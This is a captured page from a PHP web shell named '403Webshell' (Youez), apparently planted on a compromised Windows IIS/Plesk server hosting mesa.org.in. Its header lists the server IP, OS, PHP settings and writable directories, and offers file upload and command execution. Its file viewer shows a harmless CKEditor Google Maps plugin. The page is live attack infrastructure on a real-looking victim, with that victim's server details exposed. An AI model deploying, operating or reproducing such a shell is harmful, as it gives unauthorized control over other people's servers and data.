403Webshell
Server IP : 103.118.17.23  /  Your IP : 216.73.216.188
Web Server : Microsoft-IIS/10.0
System : Windows NT RESELLERPLESK22 10.0 build 20348 (Windows Server 2016) AMD64
User : IWAM_plesk(default) ( 0)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  E:/Inetpub/vhosts/mesa.org.in/httpdocs/panel/dreameditor/plugins/osem_googlemaps/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : E:/Inetpub/vhosts/mesa.org.in/httpdocs/panel/dreameditor/plugins/osem_googlemaps/plugin.js
/*

Simple Google Maps plugin for CKeditor 4

version 1.1

by Osem Websystems

*/

(function() {
	CKEDITOR.plugins.add('osem_googlemaps', {
		init: function(editor) {

			var path = this.path;

			/* button command */

			function addButtonCommand(buttonName, label, commandName) {
				editor.addCommand(commandName, new CKEDITOR.dialogCommand(commandName));
				editor.ui.addButton(buttonName, {
					label: label,
					command: commandName,
					icon: path + 'img/' + commandName + '.gif'
				});
				CKEDITOR.dialog.add(commandName, path + commandName + '.js');
			}

			addButtonCommand('osem_googlemaps', 'Google Maps', 'osem_googlemaps');

			/* context menu */

			if (editor.addMenuItems) {
				editor.addMenuGroup('osem_googlemaps');

				editor.addMenuItems({
					osem_googlemaps: {
						label: 'Edit Map',
						command: 'osem_googlemaps',
						group: 'osem_googlemaps',
						icon: path + 'img/googlemaps.gif'
					}
				});
			}

			if (editor.contextMenu) editor.contextMenu.addListener(function(element, selection) {
				if (element && element.is('img') && element.getAttribute('src').indexOf('://maps.google.com') > -1) return {
					osem_googlemaps: CKEDITOR.TRISTATE_OFF
				};	else return null;
			});

			/* double click */

			editor.on('doubleclick', function(ev) {
				var el = ev.data.element;
				if (el.getName() == 'img' && el.getAttribute('src').indexOf('://maps.google.com') > -1) ev.data.dialog = 'osem_googlemaps';
				else return null;
			});
		}
	});
})();

Youez - 2016 - github.com/yon3zu
LinuXploit